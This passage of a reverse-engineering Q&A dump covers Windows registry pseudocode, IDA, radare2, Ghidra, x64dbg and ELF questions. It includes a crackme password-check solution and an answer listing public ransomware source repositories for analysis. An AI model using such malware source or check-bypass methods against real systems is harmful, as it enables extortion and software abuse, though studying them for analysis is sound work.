08 21 8E 00 8B CE E8 FD 50 00 00 8D  \u2039\u00d0Qh.!\u017d.\u2039\u00ce\u00e8\u00fdP...\n000000C0  45 E0 50 56 FF 56 08 39 7D F4 0F 84 CE 00 00 00  E\u00e0PV\u00ffV.9}\u00f4.\u201e\u00ce...\n000000D0  8D 45 E0 50 FF 75 F4 56 FF 56 04 85 C0 0F 84 BB  .E\u00e0P\u00ffu\u00f4V\u00ffV.\u2026\u00c0.\u201e\u00bb\n000000E0  00 00 00 68 70 22 8E 00 8B D0 8B CE E8 85 33 00  ...hp&quot;\u017d.\u2039\u00d0\u2039\u00ce\u00e8\u20263.\n000000F0  00 8B F8 8D 45 E0 50 56 FF 56 08 83 FF FF 0F 84  .\u2039\u00f8.E\u00e0PV\u00ffV.\u0192\u00ff\u00ff.\u201e\n00000100  9A 00 00 00 8D 45 D0 50 57 56 FF 56 04 85 C0 0F  \u0161....E\u00d0PWV\u00ffV.\u2026\u00c0.\n00000110  84 89 00 00 00 8D 4D C8 8B D7 51 8D 4D F8 51 50  \u201e\u2030....M\u00c8\u2039\u00d7Q.M\u00f8QP\n00000120  8B CE E8 C7 34 00 00 8B F8 8D 45 D0 50 56 89 7D  \u2039\u00ce\u00e8\u00c74..\u2039\u00f8.E\u00d0PV\u2030}\n00000130  DC FF 56 08 85 FF 74 66 8B 55 F8 33 C9 33 C0 66  \u00dc\u00ffV.\u2026\u00fftf\u2039U\u00f83\u00c93\u00c0f\n00000140  89 55 DA 66 89 4D D8 C7 45 F0 02 00 00 00 66 3B  \u2030U\u00daf\u2030M\u00d8\u00c7E\u00f0....f;\n00000150  C2 73 1D 8B 75 F0 0F B7 C1 D1 E8 66 39 1C 47 74  \u00c2s.\u2039u\u00f0.\u00b7\u00c1\u00d1\u00e8f9.Gt\n00000160  0C 66 03 CE 66 89 4D D8 66 3B CA 72 E9 8B 75 EC  .f.\u00cef\u2030M\u00d8f;\u00car\u00e9\u2039u\u00ec\n00000170  8B 5D 08 6A 36 58 66 39 07 75 0C C7 45 E8 01 00  \u2039].j6Xf9.u.\u00c7E\u00e8..\n00000180  00 00 E9 92 00 00 00 8D 45 E0 50 FF 75 F4 56 FF  ..\u00e9\u2019....E\u00e0P\u00ffu\u00f4V\u00ff\n00000190  56 04 85 C0 75 13 8D 45 C8 50 56 FF 56 08 32 C0  V.\u2026\u00c0u..E\u00c8PV\u00ffV.2\u00c0\n000001A0  5F 5E 5B 8B E5 5D C2 0C 00 8D 4D D8 8B D0 51 8B  _^[\u2039\u00e5]\u00c2...M\u00d8\u2039\u00d0Q\u2039\n000001B0  CE E8 C0 32 00 00 8B F8 8D 45 C8 50 56 FF 56 08  \u00ce\u00e8\u00c02..\u2039\u00f8.E\u00c8PV\u00ffV.\n000001C0  33 C0 89 45 DC 8D 45 E0 50 56 FF 56 08 83 FF FF  3\u00c0\u2030E\u00dc.E\u00e0PV\u00ffV.\u0192\u00ff\u00ff\n000001D0  74 CC 8D 45 D0 50 57 56 FF 56 04 85 C0 74 BF 8D  t\u00cc.E\u00d0PWV\u00ffV.\u2026\u00c0t\u00bf.\n000001E0  4D C0 8B D7 51 8D 4D F8 51 50 8B CE E8 FD 33 00  M\u00c0\u2039\u00d7Q.M\u00f8QP\u2039\u00ce\u00e8\u00fd3.\n000001F0  00 89 43 04 85 C0 74 08 8D 45 C0 50 56 FF 56 08  .\u2030C.\u2026\u00c0t..E\u00c0PV\u00ffV.\n00000200  8D 45 D0 50 56 FF 56 08 33 C0 39 43 04 74 8F 8B  .E\u00d0PV\u00ffV.3\u00c09C.t.\u2039\n00000210  45 F8 66 89 43 02 66 89 03 8D 45 E0 50 FF 75 F4  E\u00f8f\u2030C.f\u2030..E\u00e0P\u00ffu\u00f4\n00000220  56 FF 56 04 85 C0 0F 84 72 FF FF FF 68 48 22 8E  V\u00ffV.\u2026\u00c0.\u201er\u00ff\u00ff\u00ffhH&quot;\u017d\n00000230  00 8B D0 8B CE E8 3C 32 00 00 8B F8 8D 45 E0 50  .\u2039\u00d0\u2039\u00ce\u00e8&lt;2..\u2039\u00f8.E\u00e0P\n00000240  56 FF 56 08 83 FF FF 0F 84 51 FF FF FF 8D 45 D0  V\u00ffV.\u0192\u00ff\u00ff.\u201eQ\u00ff\u00ff\u00ff.E\u00d0\n00000250  50 57 56 FF 56 04 85 C0 0F 84 40 FF FF FF 8D 4D  PWV\u00ffV.\u2026\u00c0.\u201e@\u00ff\u00ff\u00ff.M\n00000260  C8 8B D7 51 8D 4D F8 51 50 8B CE E8 7E 33 00 00  \u00c8\u2039\u00d7Q.M\u00f8QP\u2039\u00ce\u00e8~3..\n00000270  8B F8 8D 45 D0 50 56 89 7D DC FF 56 08 85 FF 0F  \u2039\u00f8.E\u00d0PV\u2030}\u00dc\u00ffV.\u2026\u00ff.\n00000280  84 19 FF FF FF 8B 55 F8 33 C9 33 C0 66 89 55 DA  \u201e.\u00ff\u00ff\u00ff\u2039U\u00f83\u00c93\u00c0f\u2030U\u00da\n00000290  66 89 4D D8 66 3B C2 73 22 8B 75 F0 33 DB 0F B7  f\u2030M\u00d8f;\u00c2s&quot;\u2039u\u00f03\u00db.\u00b7\n000002A0  C1 D1 E8 66 39 1C 47 74 0C 66 03 CE 66 89 4D D8  \u00c1\u00d1\u00e8f9.Gt.f.\u00cef\u2030M\u00d8\n000002B0  66 3B CA 72 E9 8B 75 EC 8B 5D 08 6A 36 58 66 39  f;\u00car\u00e9\u2039u\u00ec\u2039].j6Xf9\n000002C0  07 8B 7D 0C 0F 84 96 00 00 00 8D 45 E0 50 FF 75  .\u2039}..\u201e\u2013....E\u00e0P\u00ffu\n000002D0  F4 56 FF 56 04 85 C0 0F 84 B9 FE FF FF 8D 4D D8  \u00f4V\u00ffV.\u2026\u00c0.\u201e\u00b9\u00fe\u00ff\u00ff.M\u00d8\n000002E0  8B D0 51 8B CE E8 8C 31 00 00 89 45 08 8D 45 C8  \u2039\u00d0Q\u2039\u00ce\u00e8\u01521..\u2030E..E\u00c8\n000002F0  50 56 FF 56 08 8D 45 E0 50 56 FF 56 08 8B 45 08  PV\u00ffV..E\u00e0PV\u00ffV.\u2039E.\n00000300  83 F8 FF 0F 84 95 FE FF FF 8D 4D D0 51 50 56 FF  \u0192\u00f8\u00ff.\u201e\u2022\u00fe\u00ff\u00ff.M\u00d0QPV\u00ff\n00000310  56 04 85 C0 0F 84 84 FE FF FF 8B 55 08 8D 4D C0  V.\u2026\u00c0.\u201e\u201e\u00fe\u00ff\u00ff\u2039U..M\u00c0\n00000320  51 8D 4D F8 51 50 8B CE E8 C1 32 00 00 89 47 04  Q.M\u00f8QP\u2039\u00ce\u00e8\u00c12..\u2030G.\n00000330  85 C0 74 08 8D 45 C0 50 56 FF 56 08 8D 45 D0 50  \u2026\u00c0t..E\u00c0PV\u00ffV..E\u00d0P\n00000340  56 FF 56 08 33 C9 39 4F 04 0F 84 4F FE FF FF 8B  V\u00ffV.3\u00c99O..\u201eO\u00fe\u00ff\u00ff\u2039\n00000350  45 F8 66 89 47 02 66 89 07 39 4D E8 74 12 EB 02  E\u00f8f\u2030G.f\u2030.9M\u00e8t.\u00eb.\n00000360  33 C9 33 C0 89 4B 04 66 89 03 89 4F 04 66 89 07  3\u00c93\u00c0\u2030K.f\u2030.\u2030O.f\u2030.\n00000370  8B 4D 10 B0 01 6A 14 5A C7 41 04 4C 1A 8E 00 66  \u2039M.\u00b0.j.Z\u00c7A.L.\u017d.f\n00000380  89 51 02 66 89 11 E9 15 FE FF FF CC              \u2030Q.f\u2030.\u00e9.\u00fe\u00ff\u00ff\u00cc\n</code></pre>\n<p>loaded the bin file as raw x86 le @base 0x893c10\nadded a few structs,overridesfunction declarations and a passable PseudoCode emerges as below</p>\n<pre><code>bool __fastcall\nCmpFindNLSData(_HHIVE32 *MyHive,ulong *index,UNICODE_STRING *ACP_NSL,UNICODE_STRING *OEMHAL,\n              UNICODE_STRING *DEFINTL)\n\n{\n  bool bVar1;\n  ulong *indx;\n  ulong uVar2;\n  short *psVar3;\n  PWSTR pWVar4;\n  uint uVar5;\n  ulong local_44;\n  ulong local_3c;\n  ulong local_34;\n  ushort local_2c [2];\n  short *local_28;\n  ulong local_24;\n  ulong local_10;\n  USHORT local_c [4];\n  \n  local_3c = 0xffffffff;\n  local_34 = 0xffffffff;\n  local_24 = 0xffffffff;\n  local_44 = 0xffffffff;\n  bVar1 = false;\n  indx = (*MyHive-&gt;GetCellRoutine)(MyHive,index);\n  if (indx == (ulong *)0x0) {\n    return false;\n  }\n  func_0x00898dcc(MyHive,indx,(UNICODE_STRING *)0x8e20b8,&amp;local_10);\n  (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24);\n  if (local_10 == 0xffffffff) {\n    return false;\n  }\n  indx = (ulong *)(*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10);\n  if (indx == (ulong *)0x0) {\n    return false;\n  }\n  func_0x00898dcc(MyHive,indx,(UNICODE_STRING *)0x8e20f8,&amp;local_10);\n  (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24);\n  if (local_10 == 0xffffffff) {\n    return false;\n  }\n  indx = (ulong *)(*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10);\n  if (indx == (ulong *)0x0) {\n    return false;\n  }\n  func_0x00898dcc(MyHive,indx,(UNICODE_STRING *)0x8e2108,&amp;local_10);\n  (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24);\n  if (local_10 == 0xffffffff) {\n    return false;\n  }\n  uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10);\n  if (uVar2 == 0) {\n    return false;\n  }\n  indx = (ulong *)func_0x00897086(0x8e2270);\n  (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24);\n  if (indx == (ulong *)0xffffffff) {\n    return false;\n  }\n  uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,indx);\n  if (uVar2 == 0) {\n    return false;\n  }\n  psVar3 = (short *)func_0x008971fe(uVar2,local_c,&amp;local_3c);\n  local_28 = psVar3;\n  (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_34);\n  if (psVar3 == (short *)0x0) {\n    return false;\n  }\n  uVar5 = 0;\n  local_2c[0] = 0;\n  if (local_c[0] != 0) {\n    do {\n      if (*(short *)((int)psVar3 + uVar5) == 0) break;\n      local_2c[0] = (short)uVar5 + 2;\n      uVar5 = (uint)local_2c[0];\n    } while (local_2c[0] &lt; local_c[0]);\n  }\n  if (*psVar3 == 0x36) {\n    bVar1 = true;\n  }\n  else {\n    uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10);\n    if (uVar2 == 0) goto LAB_00893da6;\n    indx = (ulong *)func_0x00897086(local_2c);\n    (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_3c);\n    local_28 = (short *)0x0;\n    (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24);\n    if (indx == (ulong *)0xffffffff) {\n      return false;\n    }\n    uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,indx);\n    if (uVar2 == 0) {\n      return false;\n    }\n    pWVar4 = (PWSTR)func_0x008971fe(uVar2,local_c,&amp;local_44);\n    ACP_NSL-&gt;Buffer = pWVar4;\n    if (pWVar4 != (PWSTR)0x0) {\n      (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_44);\n    }\n    (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_34);\n    if (ACP_NSL-&gt;Buffer == (PWSTR)0x0) {\n      return false;\n    }\n    ACP_NSL-&gt;MaximumLength = local_c[0];\n    ACP_NSL-&gt;Length = local_c[0];\n  }\n  uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10);\n  if (uVar2 == 0) {\n    return false;\n  }\n  indx = (ulong *)func_0x00897086(0x8e2248);\n  (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24);\n  if (indx == (ulong *)0xffffffff) {\n    return false;\n  }\n  uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,indx);\n  if (uVar2 == 0) {\n    return false;\n  }\n  psVar3 = (short *)func_0x008971fe(uVar2,local_c,&amp;local_3c);\n  local_28 = psVar3;\n  (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_34);\n  if (psVar3 == (short *)0x0) {\n    return false;\n  }\n  uVar5 = 0;\n  local_2c[0] = 0;\n  if (local_c[0] != 0) {\n    do {\n      if (*(short *)((int)psVar3 + uVar5) == 0) break;\n      local_2c[0] = (short)uVar5 + 2;\n      uVar5 = (uint)local_2c[0];\n    } while (local_2c[0] &lt; local_c[0]);\n  }\n  if (*psVar3 != 0x36) {\n    uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10);\n    if (uVar2 == 0) {\nLAB_00893da6:\n      (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_3c);\n      return false;\n    }\n    indx = (ulong *)func_0x00897086(local_2c);\n    (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_3c);\n    (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24);\n    if (indx == (ulong *)0xffffffff) {\n      return false;\n    }\n    uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,indx);\n    if (uVar2 == 0) {\n      return false;\n    }\n    pWVar4 = (PWSTR)func_0x008971fe(uVar2,local_c,&amp;local_44);\n    OEMHAL-&gt;Buffer = pWVar4;\n    if (pWVar4 != (PWSTR)0x0) {\n      (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_44);\n    }\n    (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_34);\n    if (OEMHAL-&gt;Buffer == (PWSTR)0x0) {\n      return false;\n    }\n    OEMHAL-&gt;MaximumLength = local_c[0];\n    OEMHAL-&gt;Length = local_c[0];\n    if (!bVar1) goto LAB_00893f80;\n  }\n  ACP_NSL-&gt;Buffer = (PWSTR)0x0;\n  ACP_NSL-&gt;Length = 0;\n  OEMHAL-&gt;Buffer = (PWSTR)0x0;\n  OEMHAL-&gt;Length = 0;\nLAB_00893f80:\n  DEFINTL-&gt;Buffer = (PWSTR)0x8e1a4c;\n  DEFINTL-&gt;MaximumLength = 0x14;\n  DEFINTL-&gt;Length = 0x14;\n  return true;\n}\n</code></pre>\n"
    },
    {
        "Id": "25848",
        "CreationDate": "2020-09-10T13:15:58.180",
        "Body": "<p>Is there any easy way to get a <strong>function call graph</strong> of a binary program using IDApython then convert it to a networkx graph other than going through every function and constructing the call-graph ourselves?</p>\n<p>Basically i want to have a call graph that i can tell which nodes are library calls and which are locals, and not including functions that are called by libraries ( so i dont go deep into nested library functions calling each other)</p>\n<p>i tried gen_simple_call_chart() but there are two big problems :</p>\n<ol>\n<li><p>there is no difference between library nodes and local nodes in the generated DOT file (no color or anything)</p>\n</li>\n<li><p>CHART_IGNORE_LIB_FROM doesnt work, i dont want to include nodes that are called by library calls :(</p>\n</li>\n</ol>\n<p>For example all the nodes are black no matter library or local :</p>\n<pre><code>&quot;205&quot; [ label = &quot;sub_40AF20&quot;, pencolor = black ];\n&quot;206&quot; [ label = &quot;ShellExecuteW&quot;, pencolor = black ];\n</code></pre>\n",
        "Title": "Get a networkx graph from the the function call-graph of the file using IDApython?",
        "Tags": "|ida|idapython|idapro-sdk|ida-plugin|",
        "Answer": "<p>You can generate graphs in the DOT format by calling <code>gen_flow_graph()</code> with the <code>CHART_GEN_DOT</code> flag.</p>\n<p>The DOT file can then be imported into networkx using the <code>from_pydot()</code> function.</p>\n"
    },
    {
        "Id": "25850",
        "CreationDate": "2020-09-10T18:52:46.017",
        "Body": "<p>Say, I have a command in radare which produces multiple input, say <code>afl</code>. I can run it and extract many addresses:</p>\n<pre><code>[0x5579ca2e2196]&gt; afl~[0]\n0x5579ca2e2060\n0x5579ca2e4fe0\n0x5579ca2e2090\n0x5579ca2e20c0\n0x5579ca2e2100\n</code></pre>\n<p>How do I do run another command on each of those addresses? Let's say I want to print first byte of each of them or set a breakpoint with <code>db</code> on each address.</p>\n<p>I read about iteration, but it looks like it only works on flags with something like <code>sym.*</code>, but not on arbitrary outputs, so I can't do this:</p>\n<pre><code>p8 1 @@ `some command which produces many addresses`\n</code></pre>\n<p>I know that I can save output to a file and then use something like <code>p8 1 @@.my_file</code>, but it looks strange that I need to create a file for that.</p>\n<p>Basically, I want a way to run a single radare command (possibly with parameters) for every line of output of another radare command.</p>\n",
        "Title": "Running radare command on each line of the output of another command",
        "Tags": "|radare2|",
        "Answer": "<p><code>@@</code> is indeed for flags [not only those that are prefixed with <code>sym.</code> though].\nIt looks like you need to use the <code>@@=</code> iterator.</p>\n<p>For example:\n<code>px 4 @@=`afl~[0]` </code></p>\n"
    },
    {
        "Id": "25853",
        "CreationDate": "2020-09-10T23:59:36.107",
        "Body": "<p>I can't seem to figure out how to do such a trivial task: Basically, how can I enlarge a block in Ghidra's Function Graph View so that I can see all of the instructions (instead of <strong>...</strong>).</p>\n<p>There does not seem to be an enlarge option when I hover my mouse over the edge of the block.</p>\n<p>The version I am using is 9.1.2</p>\n<p>Thanks!</p>\n<p><a href=\"https://i.stack.imgur.com/mIB8q.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mIB8q.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "How to enlarge block in Ghidra's Function Graph View?",
        "Tags": "|ghidra|",
        "Answer": "<p>You do it from the menu of this window.</p>\n<p>Click on this icon:</p>\n<p><a href=\"https://i.stack.imgur.com/mMzcK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mMzcK.png\" alt=\"enter image description here\" /></a></p>\n<p>Later go to <code>Instruction/Data</code> tab and adjust the <code>Operands</code>.</p>\n"
    },
    {
        "Id": "25862",
        "CreationDate": "2020-09-12T11:49:47.183",
        "Body": "<p>how can I decompile a binary file using IDA? I tried opening it and it said it cannot find the entry point automatically and I don't know where to find it,</p>\n",
        "Title": "IDA decompile binary file",
        "Tags": "|ida|",
        "Answer": "<p>You mentioned that you want to analyze an ex5 file which is a MetaTrader5 file. That is not what IDA is for, that file is not an executable most likely. If the format isn't documented you can analyze the Application itself to figure out how it's made up, but most likely it's easier to just do it again.</p>\n"
    },
    {
        "Id": "25863",
        "CreationDate": "2020-09-12T20:00:58.130",
        "Body": "<p>I am wondering if decompilation would be easier for an ISA with fewer instructions. For example, RISC-V vs x86.</p>\n",
        "Title": "Is decompilation easier or generally more accurate for smaller ISAs?",
        "Tags": "|decompilation|",
        "Answer": "<p>That depends entirely on your approach, if you do it all manually there are fewer instructions to remember, if there is a decompiler that does/tries it automatically it's obviously easier to implement with less instructions but once you want to go beyond purely translating the asm to c code that somehow works and want to make it readable a complex instruction set which would have asm instructions that match the c/c++ instructions are easier to translate and more readable.</p>\n<p>If you look at the MOVfuscator, which is a compiler that (almost) only uses MOV-Instructions, then you will notice how unreadable and hard to decompile that actually is, and that's the fewest instructions you'll get.</p>\n<p>When you look at how often those special instructions in x86 are actually used you'll notice that it's not as often as you'd might think, so just because you have a huge instruction set that doesn't mean all instructions are used or it wouldn't run on a reduced instruction set aswell.</p>\n"
    },
    {
        "Id": "25879",
        "CreationDate": "2020-09-14T04:24:32.033",
        "Body": "<p>To get a basic understanding of the <a href=\"https://refspecs.linuxfoundation.org/elf/elf.pdf\" rel=\"nofollow noreferrer\">ELF format</a>, I'm writing a basic program to generate a valid elf file from the most basic assembly output. I'm going step-by-step so I'll probably ask a few questions here as I make my way through it. I've generated the first 16-bytes of the header and verified that it's the same from a gcc-compiled program on my machine (nothing special, since those first 16-bytes are almost always the same). Here is what I have so far (using python):</p>\n<pre><code># https://refspecs.linuxfoundation.org/elf/elf.pdf\nb = bytearray()\n\n# (1) magic header\nb.append(0x7F) # starting number\nb.extend([ord('E'), ord('L'), ord('F')])\n\n# (2) ei-class ('capacity') -- 1 for 32-bit, 2 for 64-bit\n# uname -m # x86_64\nBITS_32 = 1\nBITS_64 = 2\nb.append(BITS_64)\n\n# (3) ei-data ('data-encoding') -- 1 for little-endian (standard), 2 for big-endian\nLITTLE_ENDIAN = 1\nBIG_ENDIAN    = 2\nb.append(LITTLE_ENDIAN)\n\n# (4) ei-version -- always will be 1 -- \nEV_CURRENT = 1\nb.append(EV_CURRENT)\n\n# (5) ei-pad -- padding --&gt; pad 0's up to 16 bytes\nb.extend([0,] * (16-len(b)))\n\nprint('%s\\nLength: %s' % (b, len(b)))\n</code></pre>\n<p>And I get:</p>\n<pre><code>bytearray(b'\\x7fELF\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nLength: 16\n</code></pre>\n<p>I have a few questions about this:</p>\n<ul>\n<li>What is the most common way to get whether a machine is <code>32</code> or <code>64</code> bits? Is doing <code>uname -m</code> or one of the <code>uname</code> variants the suggested way?</li>\n<li>How do you determine if the machine is little- or big-endian?</li>\n</ul>\n",
        "Title": "Generating an elf header",
        "Tags": "|elf|executable|binary-format|",
        "Answer": "<p>On Linux machines, the <code>lscpu</code> command will tell you both the endianness of the CPU and whether it is 32/64 bit.</p>\n"
    },
    {
        "Id": "25881",
        "CreationDate": "2020-09-14T10:51:27.557",
        "Body": "<p>I am working on a packed file with UPX.<br />\nIn one of the lines it calls to the value of the address <code>0xF5222C</code> which is: <code>0x778057c0</code>.<br />\n<a href=\"https://i.stack.imgur.com/ZOJqR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZOJqR.png\" alt=\"enter image description here\" /></a></p>\n<p>The debugger auto-completes it to <code>kernel32.LoadLibraryA</code>.<br />\nWhere can I verify that this is the address of the function?</p>\n<p>I looked at the &quot;Memory Map&quot; tab but all I can see is the address (<code>0x777F000</code>) of the kernel32.dll module:<br />\n<a href=\"https://i.stack.imgur.com/7JS2L.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7JS2L.png\" alt=\"enter image description here\" /></a></p>\n<p>Is there a place I can view the addrresses of all the functions related to a specific module?</p>\n<p><strong>EDIT:</strong><br />\nI tried <code>Search for &gt; All Modules &gt; Intermodlar calls</code>:<br />\n<a href=\"https://i.stack.imgur.com/Clq3V.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Clq3V.png\" alt=\"enter image description here\" /></a></p>\n<p>I searched for <code>LoadLibraryA</code> (address <code>0x778057c0</code>) but it doesn't find it:<br />\n<a href=\"https://i.stack.imgur.com/df0Ec.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/df0Ec.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "How to view the functions of a loaded library in x64dbg",
        "Tags": "|x64dbg|functions|libraries|",
        "Answer": "<p>You can either press Ctrl+G and type <code>LoadLibraryA</code> to land at this function address, or if you want to list all the functions from kernel32.dll you can go to the <code>Symbols</code> tab like this:</p>\n<p><a href=\"https://i.stack.imgur.com/Ep7Ri.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ep7Ri.png\" alt=\"enter image description here\" /></a></p>\n<p>From there you can view the function address or just double-click &quot;LoadLibraryA&quot; to follow it in disassembler.</p>\n"
    },
    {
        "Id": "25882",
        "CreationDate": "2020-09-14T12:42:18.527",
        "Body": "<p>After analyzing the code, I have been able to understand and recreate the algorithm used to check if the password the binary takes is correct, but don't know how to solve it (or at least can't think of any approach that would be performant enough to finish within feasible time).</p>\n<p>The first three letters of the expected password can be easily seen in the disassembly, as well as the length of the password being 16 letters.</p>\n<p>Then it gets a little tricky, as the program enters a loop summing up the ASCII values of different letters of the password into 4 variables, which are afterwards checked against a value each after being taken modulo 100, which have to be met for the password to be regarded as &quot;correct&quot;</p>\n<p>To be more exact, the letters are summed up as follows (indices in the password starting from 1:\nVar1: 1, 3, 4, 6, 7, 11, 12, 14, 15\nVar2: 1, 3, 5, 7, 9, 11, 13, 15\nVar3: 2, 5, 8, 11, 14\nVar4: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15</p>\n<p>This also tells me, that given I didn't understand the code completely wrong, the last letter of the password is not relevant as well.</p>\n<p>Anyways, my question would be, if with the information present this problem is even solvable, and if yes, what approach would make sense, as brute-forcing obviously doesn't.</p>\n",
        "Title": "Password evaluated from the sum of ASCII letters",
        "Tags": "|static-analysis|encodings|crackme|",
        "Answer": "<p>You may be able to set up a system of equations and try and narrow this down with linear algebra. Because you have more unknowns than knowns, you will not be able to know the original password, but you can still get one the passes the validation routine. You already know some of the letters due to seeing them in the disassembly.</p>\n<p>As a smaller example, say we know the first letter of a password is <code>G</code> and the that there are 6 letters. The program then sums up the letters into three variables as follows:</p>\n<pre><code>var1 = password[0] + password[1] + password[5]\nvar2 = password[0] + password[4]\nvar3 = password[0] + password[1] + password[2] + password[3] + password[4]\n</code></pre>\n<p>Then later we see that it checks:</p>\n<pre><code>var1 == 225\nvar2 == 160\nvar3 == 392\n</code></pre>\n<p>We can set up a matrix for this:</p>\n<pre><code>[1 1 0 0 0 1 | 225]\n[1 0 0 0 1 0 | 160]\n[1 1 1 1 1 0 | 392]\n</code></pre>\n<p>Using <code>SymPy</code> or something similar, we can reduce this matrix down:</p>\n<pre><code>from sypy import *\nA = Matrix([[1,1,0,0,0,1,225],[1,0,0,0,1,0,160],[1,1,1,1,1,0,392]])\nA.rref()\n\n(Matrix([\n[1, 0, 0, 0,  1,  0, 160],\n[0, 1, 0, 0, -1,  1,  65],\n[0, 0, 1, 1,  1, -1, 167]]), (0, 1, 2))\n</code></pre>\n<p>Our pivots are <code>password[0]</code>, <code>password[1]</code> and <code>password[2]</code>. We already know <code>password[0] == 71</code>, we will select whatever we want for <code>password[1]</code> &amp; <code>password[2]</code> and will try to get everything else in terms of these.</p>\n<p>Since we know that the first letter is <code>'G'</code> and has a value of <code>71</code>, the first equation is <code>72 + password[4] = 160</code>. We now know <code>password[4]</code> is <code>89</code> or <code>Y</code>.</p>\n<p>Knowing this, we can look at our next equation. <code>password[1] - 89 + password[5] = 65.</code> Rewriting: <code>password[5] = 154 - password[1]</code>.</p>\n<p>We can now look at the last equation:\n<code>password[2] + password[3] + 89 - password[5] = 167</code>\nRewriting: <code>password[3] = password[5] - password[2] + 78</code></p>\n<p>Putting it all together:</p>\n<pre><code>password[0] = 'G'\npassword[1] = pivot\npassword[2] = pivot\npassword[3] = password[5] - password[2] + 78\npassword[4] = 'Y'\npassword[5] = 154 - password[1]\n</code></pre>\n<p>Now we just assign whatever we want for <code>password[1]</code> and <code>password[2]</code> and we will get a valid password.</p>\n<pre><code>password[1] = 'A'\npassword[2] = 'A'\n</code></pre>\n<pre><code># Find password[5]\nchr(154 - ord('A'))\n'Y'\n\n# Find password[3]\nchr(ord('Y') - ord('A') + 78)\n'f'\n\n# Validate password\npassword = &quot;GAAfYY&quot;\nvar1 = ord(password[0]) + ord(password[1]) + ord(password[5])\nvar2 = ord(password[0]) + ord(password[4])\nvar3 = ord(password[0]) + ord(password[1]) + ord(password[2]) + + ord(password[3]) + ord(password[4])\n\n(var1 == 225) and (var2 == 160) and (var3 == 392)\nTrue\n</code></pre>\n<p>It will be harder for your specific one because you the numbers are being taken <code>% 100</code>, but you know how many characters there are and what value range ASCII falls in so it shouldn't be too hard to set a limited range for the possible values.</p>\n"
    },
    {
        "Id": "25885",
        "CreationDate": "2020-09-14T14:07:33.027",
        "Body": "<p>Have been searching ransomware source codes for analysis(as much as possible). I have already checked with sites like Any.Run but most of their samples are .exe and binary files. Does any one have any leads to a place I can get the source codes especially for ransomware?</p>\n",
        "Title": "Ransomware Source Codes",
        "Tags": "|malware|ransomware|",
        "Answer": "<p>Here are some links you may find helpful:</p>\n<ul>\n<li><a href=\"https://github.com/goliate/hidden-tear\" rel=\"nofollow noreferrer\">https://github.com/goliate/hidden-tear</a></li>\n<li><a href=\"https://github.com/mauri870/ransomware\" rel=\"nofollow noreferrer\">https://github.com/mauri870/ransomware</a></li>\n<li><a href=\"https://webcourse.cs.technion.ac.il/236499/Spring2018/comp/WCFiles/Projects-in-Ransomware-2018-spring-v02.pdf\" rel=\"nofollow noreferrer\">PDF</a>, containing some interesting links</li>\n</ul>\n<p>You can also look for MSIL binaries, deobfuscate using <a href=\"https://github.com/0xd4d/de4dot\" rel=\"nofollow noreferrer\">de4dot</a> and decompile using <a href=\"https://github.com/0xd4d/dnSpy\" rel=\"nofollow noreferrer\">dnSpy</a>. If sample is not strongly protected, you will get output as readable as the source code.</p>\n"
    },
    {
        "Id": "25892",
        "CreationDate": "2020-09-15T11:40:13.260",
        "Body": "<p>I have an assembly row which the following information:</p>\n<pre><code>EBP = 006FFB50\nSS  = 002B  \n</code></pre>\n<p>When I looked on this row:</p>\n<pre><code>mov eax,dword ptr ss:[ebp+8]  \n</code></pre>\n<p>I assumed that EBP + 8 = 006FFB50 + 8 = 006FFB58.<br />\nBut according to x64DBG, this is the result:</p>\n<pre><code>dword ptr [ebp+8]=[006FFB58]=006FFC98  \n</code></pre>\n<p>I don't understand how it was calculated.<br />\nWhy <code>ss:[006FFB58]</code> is equal to <code>006FFC98</code>?</p>\n<p>Picture for reference with more information:<br />\n<a href=\"https://i.stack.imgur.com/MZbco.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MZbco.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "How to calculate value inside stack segment (SS)",
        "Tags": "|assembly|x64dbg|stack|",
